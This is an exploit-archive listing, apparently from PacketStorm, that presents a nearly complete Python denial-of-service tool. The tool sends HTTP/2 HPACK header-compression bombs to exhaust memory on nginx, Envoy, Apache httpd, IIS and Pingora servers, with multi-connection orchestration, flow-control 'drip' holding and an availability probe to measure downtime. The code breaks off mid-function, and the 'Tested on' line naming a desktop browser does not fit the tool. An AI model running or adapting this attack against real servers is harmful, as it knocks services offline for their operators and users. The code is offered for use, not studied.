Share
## https://sploitus.com/exploit?id=PACKETSTORM:223343
==================================================================================================================================
| # Title : HTTP/2 Multi-Server HPACK Exhaustion |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : System built in component |
==================================================================================================================================
[+] Summary : This code implements a multi-target HTTP/2 resource exhaustion framework designed to stress or overwhelm server implementations through protocol-level amplification techniques.
It includes server-specific payload generation for multiple platforms, automated connection orchestration, stream scaling, and memory pressure strategies
using HPACK compression behavior and flow-control manipulation.
[+] POC :
#!/usr/bin/env python3
import argparse
import socket
import ssl
import struct
import sys
import threading
import time
import urllib.request
import json
from typing import List, Tuple, Optional
from dataclasses import dataclass
from enum import Enum
H2_PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"
FRAME_DATA = 0x0
FRAME_HEADERS = 0x1
FRAME_SETTINGS = 0x4
FRAME_PING = 0x6
FRAME_GOAWAY = 0x7
FRAME_WINDOW_UPDATE = 0x8
FRAME_CONTINUATION = 0x9
FLAG_END_STREAM = 0x1
FLAG_END_HEADERS = 0x4
FLAG_ACK = 0x1
SETTINGS_HEADER_TABLE_SIZE = 0x1
SETTINGS_ENABLE_PUSH = 0x2
SETTINGS_MAX_CONCURRENT = 0x3
SETTINGS_INITIAL_WINDOW_SIZE = 0x4
SETTINGS_MAX_FRAME_SIZE = 0x5
DEFAULT_WINDOW = 65535
MAX_FRAME_SIZE = 16384
class ServerType(Enum):
NGINX = "nginx"
ENVOY = "envoy"
APACHE = "apache"
IIS = "iis"
PINGORA = "pingora"
AUTO = "auto"
@dataclass
class ServerConfig:
"""Server-specific configuration"""
name: str
default_port: int
needs_tls: bool
max_headers: int
max_streams: int
amplification: int
special_payload: Optional[str] = None
cookie_size: Optional[int] = None
SERVER_CONFIGS = {
ServerType.NGINX: ServerConfig(
name="nginx",
default_port=443,
needs_tls=True,
max_headers=32000,
max_streams=128,
amplification=70
),
ServerType.ENVOY: ServerConfig(
name="Envoy",
default_port=10000,
needs_tls=True,
max_headers=8192,
max_streams=100,
amplification=5700,
cookie_size=4058
),
ServerType.APACHE: ServerConfig(
name="Apache httpd",
default_port=8443,
needs_tls=True,
max_headers=4091,
max_streams=100,
amplification=4000
),
ServerType.IIS: ServerConfig(
name="Microsoft IIS",
default_port=443,
needs_tls=True,
max_headers=900,
max_streams=100,
amplification=68
),
ServerType.PINGORA: ServerConfig(
name="Cloudflare Pingora",
default_port=6145,
needs_tls=False,
max_headers=32000,
max_streams=100000,
amplification=33
),
}
def hpack_int(value: int, prefix_bits: int, first_byte_prefix: int) -> bytes:
"""Encode integer as HPACK integer"""
max_prefix = (1 << prefix_bits) - 1
if value < max_prefix:
return bytes([first_byte_prefix | value])
out = bytearray([first_byte_prefix | max_prefix])
value -= max_prefix
while value >= 128:
out.append((value & 0x7F) | 0x80)
value >>= 7
out.append(value)
return bytes(out)
def hpack_string(data: bytes) -> bytes:
"""Encode string as HPACK string literal"""
return hpack_int(len(data), 7, 0x00) + data
def indexed(index: int) -> bytes:
"""Indexed header field representation"""
return hpack_int(index, 7, 0x80)
def literal_indexed_name_with_indexing(name_index: int, value: bytes) -> bytes:
"""Literal header field with indexing - indexed name"""
return hpack_int(name_index, 6, 0x40) + hpack_string(value)
def literal_indexed_name_without_indexing(name_index: int, value: bytes) -> bytes:
"""Literal header field without indexing - indexed name"""
return hpack_int(name_index, 4, 0x00) + hpack_string(value)
def build_nginx_hpack_bomb(num_headers: int) -> bytes:
"""
Build HPACK bomb for nginx
Strategy: Insert ("a", "") then reference it many times
"""
block = bytearray()
block.append(0x80 | 2)
block.append(0x80 | 4)
block.append(0x80 | 6)
block.append(0x41)
block.append(0x01)
block.append(ord("x"))
block.append(0x40)
block.append(0x01)
block.append(ord("a"))
block.append(0x00)
refs = max(0, num_headers - 5)
block.extend(b"\xbe" * refs)
return bytes(block)
def build_envoy_hpack_bomb(num_headers: int, cookie_value_size: int = 4058) -> bytes:
"""
Build HPACK bomb for Envoy using cookie coalescing
"""
cookie_value = b"x" * min(cookie_value_size, 4058)
block = bytearray()
block += indexed(2)
block += indexed(7)
block += indexed(4)
block += literal_indexed_name_without_indexing(1, b"localhost")
block += literal_indexed_name_with_indexing(32, cookie_value)
refs = max(0, num_headers - 5)
block += indexed(62) * refs
return bytes(block)
def build_apache_hpack_bomb(num_headers: int) -> bytes:
"""
Build HPACK bomb for Apache httpd
Uses empty cookie values for maximum amplification
"""
block = bytearray()
block += indexed(2)
block += indexed(7)
block += literal_indexed_name_without_indexing(4, b"/missing")
block += literal_indexed_name_without_indexing(1, b"localhost")
block += literal_indexed_name_with_indexing(32, b"")
refs = max(0, num_headers - 4)
block += indexed(62) * refs
return bytes(block)
def build_iis_hpack_bomb(num_headers: int) -> bytes:
"""
Build HPACK bomb for IIS
Uses ':scheme https' at index 7 (not 6)
"""
block = bytearray()
block.append(0x80 | 2)
block.append(0x80 | 4)
block.append(0x80 | 7)
block.append(0x41)
block.append(0x09)
block.extend(b"localhost")
block.append(0x40)
block.append(0x01)
block.append(ord("a"))
block.append(0x00)
refs = max(0, num_headers - 5)
block.extend(b"\xbe" * refs)
return bytes(block)
def build_pingora_hpack_bomb(num_headers: int) -> bytes:
"""
Build HPACK bomb for Pingora (h2c - clear text)
"""
block = bytearray()
block.append(0x82)
block.append(0x84)
block.append(0x86)
block.append(0x41)
block.append(0x01)
block.append(ord("x"))
block.append(0x40)
block.append(0x01)
block.append(ord("a"))
block.append(0x00)
refs = max(0, num_headers - 5)
block.extend(b"\xbe" * refs)
return bytes(block)
def frame(ftype: int, flags: int, stream_id: int, payload: bytes) -> bytes:
"""Build HTTP/2 frame"""
length = len(payload)
hdr = struct.pack("!I", length)[1:] # 3-byte length
hdr += struct.pack("!BB", ftype, flags)
hdr += struct.pack("!I", stream_id & 0x7FFFFFFF)
return hdr + payload
def settings_frame(params: List[Tuple[int, int]], ack: bool = False) -> bytes:
"""Build SETTINGS frame"""
if ack:
return frame(FRAME_SETTINGS, FLAG_ACK, 0, b"")
payload = b"".join(struct.pack("!HI", pid, val) for pid, val in params)
return frame(FRAME_SETTINGS, 0, 0, payload)
def window_update_frame(stream_id: int, increment: int) -> bytes:
"""Build WINDOW_UPDATE frame"""
return frame(FRAME_WINDOW_UPDATE, 0, stream_id, struct.pack("!I", increment))
def ping_ack_frame(opaque_data: bytes) -> bytes:
"""Build PING ACK frame"""
return frame(FRAME_PING, FLAG_ACK, 0, opaque_data)
def split_into_frames(stream_id: int, header_block: bytes, max_payload: int = MAX_FRAME_SIZE) -> List[bytes]:
"""Split HPACK block into HEADERS + CONTINUATION frames"""
frames = []
offset = 0
first = True
while offset < len(header_block):
chunk = header_block[offset:offset + max_payload]
offset += len(chunk)
is_last = offset >= len(header_block)
if first:
flags = FLAG_END_STREAM
if is_last:
flags |= FLAG_END_HEADERS
frames.append(frame(FRAME_HEADERS, flags, stream_id, chunk))
first = False
else:
flags = FLAG_END_HEADERS if is_last else 0
frames.append(frame(FRAME_CONTINUATION, flags, stream_id, chunk))
return frames
def parse_frames(data: bytes):
"""Parse raw HTTP/2 frames"""
offset = 0
while offset + 9 <= len(data):
length = (data[offset] << 16) | (data[offset+1] << 8) | data[offset+2]
ftype = data[offset+3]
flags = data[offset+4]
stream_id = struct.unpack("!I", data[offset+5:offset+9])[0] & 0x7FFFFFFF
if offset + 9 + length > len(data):
break
payload = data[offset+9:offset+9+length]
yield ftype, flags, stream_id, payload
offset += 9 + length
class H2Connection:
def __init__(self, host: str, port: int, server_type: ServerType,
conn_id: int = 0, verbose: bool = False):
self.host = host
self.port = port
self.server_type = server_type
self.conn_id = conn_id
self.verbose = verbose
self.sock = None
self.stream_ids = []
self.active = False
self.config = SERVER_CONFIGS.get(server_type)
def log(self, msg: str):
if self.verbose:
print(f" [conn-{self.conn_id}] {msg}")
def connect(self):
"""Establish TLS (or plain) HTTP/2 connection"""
if self.config.needs_tls:
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.set_alpn_protocols(["h2"])
raw = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
raw.settimeout(30)
raw.connect((self.host, self.port))
self.sock = ctx.wrap_socket(raw, server_hostname=self.host)
negotiated = self.sock.selected_alpn_protocol()
if negotiated != "h2":
raise RuntimeError(f"ALPN negotiated '{negotiated}', expected 'h2'")
else:
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(30)
self.sock.connect((self.host, self.port))
self.log(f"Connected to {self.host}:{self.port}")
def handshake(self, initial_window: int = 0):
"""Send HTTP/2 preface and SETTINGS"""
self.sock.sendall(H2_PREFACE)
self.sock.sendall(settings_frame([
(SETTINGS_ENABLE_PUSH, 0),
(SETTINGS_INITIAL_WINDOW_SIZE, initial_window),
]))
self._drain(timeout=2.0)
self.sock.sendall(settings_frame([], ack=True))
self.log("Handshake complete")
self.active = True
def build_payload(self, num_headers: int) -> bytes:
"""Build server-specific HPACK bomb"""
if self.server_type == ServerType.NGINX:
return build_nginx_hpack_bomb(num_headers)
elif self.server_type == ServerType.ENVOY:
cookie_size = self.config.cookie_size or 4058
return build_envoy_hpack_bomb(num_headers, cookie_size)
elif self.server_type == ServerType.APACHE:
return build_apache_hpack_bomb(num_headers)
elif self.server_type == ServerType.IIS:
return build_iis_hpack_bomb(num_headers)
elif self.server_type == ServerType.PINGORA:
return build_pingora_hpack_bomb(num_headers)
else:
return build_nginx_hpack_bomb(num_headers)
def send_bombs(self, num_streams: int, num_headers: int) -> int:
"""Send HPACK bomb streams"""
hpack_block = self.build_payload(num_headers)
wire_per_stream = len(hpack_block)
self.log(f"Sending {num_streams} streams, {wire_per_stream} bytes/stream")
total_wire = 0
for i in range(num_streams):
stream_id = 2 * i + 1
self.stream_ids.append(stream_id)
frames = split_into_frames(stream_id, hpack_block)
for f in frames:
self.sock.sendall(f)
total_wire += len(f)
self.log(f"Sent {total_wire:,} bytes ({total_wire/1024:.1f} KB)")
self._drain(timeout=1.0)
self.active = True
return total_wire
def hold_with_drip(self, hold_seconds: int, drip_interval: int = 50):
"""Hold memory with periodic WINDOW_UPDATEs"""
self.log(f"Holding for {hold_seconds}s (drip every {drip_interval}s)")
t0 = time.monotonic()
drip_count = 0
while time.monotonic() - t0 < hold_seconds and self.active:
wait_until = time.monotonic() + drip_interval
while time.monotonic() < wait_until and self.active:
remaining = wait_until - time.monotonic()
self._drain(timeout=min(remaining, 5.0))
if not self.active:
break
try:
self.sock.sendall(window_update_frame(0, 1))
for sid in self.stream_ids:
self.sock.sendall(window_update_frame(sid, 1))
drip_count += 1
except (BrokenPipeError, ConnectionResetError, OSError):
self.log("Connection lost during drip")
self.active = False
break
elapsed = time.monotonic() - t0
self.log(f"Hold ended: {elapsed:.0f}s, {drip_count} drips")
def _drain(self, timeout: float = 1.0):
"""Read incoming frames and respond to PINGs"""
self.sock.settimeout(timeout)
try:
while True:
data = self.sock.recv(65536)
if not data:
self.active = False
return
for ftype, flags, sid, payload in parse_frames(data):
if ftype == FRAME_PING and not (flags & FLAG_ACK):
self.sock.sendall(ping_ack_frame(payload))
elif ftype == FRAME_GOAWAY:
error = struct.unpack("!I", payload[4:8])[0] if len(payload) >= 8 else 0
self.log(f"GOAWAY received, error={error}")
self.active = False
return
except (socket.timeout, ssl.SSLWantReadError, BlockingIOError):
pass
except (ConnectionResetError, BrokenPipeError, OSError):
self.active = False
def close(self):
if self.sock:
try:
self.sock.close()
except OSError:
pass
def launch_iis_attack(target: str, port: int, num_procs: int,
conns_per_proc: int, hold: int) -> None:
"""
Launch multiple parallel processes for IIS attack
IIS requires 10,000-50,000 connections to exhaust memory
"""
import subprocess
import os
script_path = os.path.abspath(__file__)
procs = []
print(f"[*] Launching {num_procs} parallel processes for IIS attack")
print(f" Total connections: {num_procs * conns_per_proc}")
for i in range(num_procs):
cmd = [
sys.executable, script_path,
"--target", target,
"--port", str(port),
"--server", "iis",
"--connections", str(conns_per_proc),
"--streams", "100",
"--headers", "900",
"--hold", str(hold),
"--no-probe"
]
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
procs.append(proc)
time.sleep(0.5)
print(f"[*] All {num_procs} processes launched. Waiting for completion...")
for i, proc in enumerate(procs):
stdout, stderr = proc.communicate()
if proc.returncode != 0:
print(f" Process {i} failed: {stderr.decode()[:200]}")
print("[*] Attack completed")
def monitor_rss(container_name: Optional[str] = None, pid: Optional[int] = None):
"""Monitor memory usage of target process"""
import subprocess
if container_name:
try:
result = subprocess.run(
["docker", "inspect", "--format", "{{.State.Pid}}", container_name],
capture_output=True, text=True
)
pid = int(result.stdout.strip())
except Exception as e:
print(f"Failed to get container PID: {e}")
return
if not pid:
print("No PID specified")
return
print(f"Monitoring PID {pid}")
peak = 0
t0 = time.monotonic()
try:
while True:
with open(f"/proc/{pid}/status") as f:
for line in f:
if line.startswith("VmRSS:"):
rss_kb = int(line.split()[1])
rss_mb = rss_kb / 1024
peak = max(peak, rss_mb)
elapsed = time.monotonic() - t0
print(f"[{elapsed:6.1f}s] RSS: {rss_mb:8.1f} MB (peak: {peak:.1f} MB)")
break
time.sleep(0.5)
except KeyboardInterrupt:
print(f"\nPeak RSS: {peak:.1f} MB")
except FileNotFoundError:
print(f"Process {pid} terminated")
def probe_accessibility(host: str, port: int, results: list, stop_event: threading.Event, interval: int = 5):
"""Probe target availability during attack"""
url = f"https://{host}:{port}/" if port == 443 else f"http://{host}:{port}/"
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
t0 = time.monotonic()
while not stop_event.is_set():
elapsed = time.monotonic() - t0
try:
req = urllib.request.Request(url)
start = time.monotonic()
resp = urllib.request.urlopen(req, timeout=5, context=ctx)
latency = (time.monotonic() - start) * 1000
results.append((elapsed, resp.status, latency))
except Exception:
results.append((elapsed, 0, 5000))
stop_event.wait(interval)
def run_attack(args):
"""Execute full attack"""
server_type = ServerType(args.server)
config = SERVER_CONFIGS[server_type]
print(f"""
{'=' * 70}
HTTP/2 Bomb Attack
Target: {args.target}:{args.port} ({config.name})
Server: {server_type.value}
Connections: {args.connections}
Streams: {args.streams} per connection
Headers: {args.headers:,} per stream
Hold: {args.hold}s (drip every {args.drip}s)
TLS: {'Yes' if config.needs_tls else 'No'}
{'=' * 70}
""")
mem_per_stream = args.headers * 59 * 1.17 if server_type != ServerType.PINGORA else args.headers * 33
mem_per_conn = args.streams * mem_per_stream / 1024 / 1024
mem_total = args.connections * mem_per_conn
wire_total = args.connections * args.streams * args.headers / 1024 / 1024
amplification = mem_total / max(wire_total, 0.001)
print(f" Estimated server memory:")
print(f" Per stream: {mem_per_stream/1024/1024:.2f} MB")
print(f" Per connection: {mem_per_conn:.1f} MB")
print(f" Total: {mem_total:.0f} MB ({mem_total/1024:.1f} GB)")
print(f" Wire upload: {wire_total:.1f} MB")
print(f" Amplification: {amplification:.0f}:1")
print()
probe_results = []
probe_stop = threading.Event()
if not args.no_probe:
probe_thread = threading.Thread(
target=probe_accessibility,
args=(args.target, args.port, probe_results, probe_stop, 5),
daemon=True
)
probe_thread.start()
time.sleep(1)
print(f"[*] Phase 1: Establishing {args.connections} connections...")
connections = []
lock = threading.Lock()
t_start = time.monotonic()
def connect_worker(i):
conn = H2Connection(args.target, args.port, server_type, i, args.verbose)
try:
conn.connect()
conn.handshake(initial_window=args.initial_window)
with lock:
connections.append(conn)
except Exception as e:
print(f" Connection {i}: FAILED - {e}")
conn.close()
threads = []
for i in range(args.connections):
t = threading.Thread(target=connect_worker, args=(i,), daemon=True)
t.start()
threads.append(t)
time.sleep(0.05)
for t in threads:
t.join(timeout=30)
elapsed = time.monotonic() - t_start
print(f" {len(connections)}/{args.connections} established in {elapsed:.1f}s")
if not connections:
print("[!] No connections established")
return
print(f"[*] Phase 2: Sending HPACK bombs...")
total_wire = 0
t_bomb = time.monotonic()
def bomb_worker(conn):
nonlocal total_wire
try:
wire = conn.send_bombs(args.streams, args.headers)
with lock:
total_wire += wire
except Exception as e:
print(f" Connection {conn.conn_id}: SEND FAILED - {e}")
conn.active = False
threads = []
for conn in connections:
t = threading.Thread(target=bomb_worker, args=(conn,), daemon=True)
t.start()
threads.append(t)
for t in threads:
t.join(timeout=60)
elapsed = time.monotonic() - t_bomb
print(f" Sent {total_wire/1024/1024:.1f} MB in {elapsed:.1f}s ({total_wire/1024/1024/elapsed:.1f} MB/s)")
if args.hold > 0:
print(f"[*] Phase 3: Holding for {args.hold}s (drip every {args.drip}s)")
print(" Press Ctrl+C to stop early")
threads = []
for conn in connections:
t = threading.Thread(
target=conn.hold_with_drip,
args=(args.hold, args.drip),
daemon=True
)
t.start()
threads.append(t)
try:
for t in threads:
t.join()
except KeyboardInterrupt:
print("\n[*] Interrupted by user")
probe_stop.set()
active = sum(1 for c in connections if c.active)
print(f"""
{'=' * 70}
RESULTS
{'=' * 70}
Total time: {time.monotonic() - t_start:.0f}s
Connections: {active}/{len(connections)} active
Wire uploaded: {total_wire/1024/1024:.1f} MB
Streams total: {len(connections) * args.streams:,}
""")
if probe_results:
accessible = sum(1 for _, status, _ in probe_results if status == 200)
print(f" Accessibility probe:")
print(f" Accessible: {accessible}/{len(probe_results)}")
first_deny = next((t for t, s, _ in probe_results if s != 200), None)
if first_deny:
last_deny = max((t for t, s, _ in probe_results if s != 200), default=0)
print(f" Denial window: {first_deny:.0f}s - {last_deny:.0f}s (~{last_deny - first_deny:.0f}s)")
for conn in connections:
conn.close()
print("\n[+] Attack completed!")
def detect_server(host: str, port: int) -> Optional[ServerType]:
"""Attempt to identify server type by response headers"""
import urllib.request
print("[*] Attempting to auto-detect server type...")
for server_type, config in SERVER_CONFIGS.items():
if config.default_port != port and server_type != ServerType.AUTO:
continue
try:
url = f"https://{host}:{port}/" if config.needs_tls else f"http://{host}:{port}/"
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
req = urllib.request.Request(url, method="HEAD")
resp = urllib.request.urlopen(req, timeout=5, context=ctx)
server_header = resp.headers.get("Server", "")
if "nginx" in server_header.lower():
return ServerType.NGINX
elif "envoy" in server_header.lower():
return ServerType.ENVOY
elif "apache" in server_header.lower():
return ServerType.APACHE
elif "iis" in server_header.lower():
return ServerType.IIS
except Exception:
continue
print("[!] Could not auto-detect, defaulting to nginx")
return ServerType.NGINX
def main():
parser = argparse.ArgumentParser(
description="HTTP/2 Bomb - Unified DoS Exploit for nginx, Envoy, Apache, IIS, Pingora",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s --target 192.168.1.100 --connections 15 --hold 120
%(prog)s --target 192.168.1.100 --port 10000 --server envoy --connections 1 --streams 1
%(prog)s --target 192.168.1.100 --port 8443 --server apache --connections 1 --streams 25
%(prog)s --target 192.168.1.100 --server iis --connections 2000 --hold 300
%(prog)s --target 192.168.1.100 --port 6145 --server pingora --connections 1 --streams 2048
%(prog)s --target 192.168.1.100 --server iis --iis-procs 50 --iis-conns 1000
%(prog)s --monitor-container nginx-h2-bomb
""")
parser.add_argument("--target", "-t", help="Target host/IP")
parser.add_argument("--port", "-p", type=int, help="Target port (defaults per server)")
parser.add_argument("--server", "-s", choices=["nginx", "envoy", "apache", "iis", "pingora", "auto"],
default="auto", help="Server type (default: auto-detect)")
parser.add_argument("--connections", "-n", type=int, default=1, help="Number of connections")
parser.add_argument("--streams", type=int, default=128, help="Streams per connection")
parser.add_argument("--headers", type=int, default=32000, help="Headers per stream")
parser.add_argument("--hold", type=int, default=120, help="Hold time in seconds")
parser.add_argument("--drip", type=int, default=50, help="Drip interval in seconds")
parser.add_argument("--initial-window", type=int, default=0, help="INITIAL_WINDOW_SIZE")
parser.add_argument("--iis-procs", type=int, help="Number of parallel processes for IIS")
parser.add_argument("--iis-conns", type=int, default=2000, help="Connections per IIS process")
parser.add_argument("--monitor-container", help="Monitor container memory usage")
parser.add_argument("--monitor-pid", type=int, help="Monitor process by PID")
parser.add_argument("--no-probe", action="store_true", help="Disable accessibility probe")
parser.add_argument("--detect", action="store_true", help="Auto-detect server type only")
parser.add_argument("-v", "--verbose", action="store_true", help="Verbose output")
args = parser.parse_args()
if args.monitor_container:
monitor_rss(container_name=args.monitor_container)
return
if args.monitor_pid:
monitor_rss(pid=args.monitor_pid)
return
if args.detect:
if not args.target:
print("Error: --target required for detection")
return
port = args.port or 443
server = detect_server(args.target, port)
print(f"Detected server: {server.value}")
return
if not args.target:
parser.print_help()
print("\nError: --target required for attack")
return
if args.iis_procs:
port = args.port or 443
launch_iis_attack(args.target, port, args.iis_procs, args.iis_conns, args.hold)
return
if args.server == "auto":
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================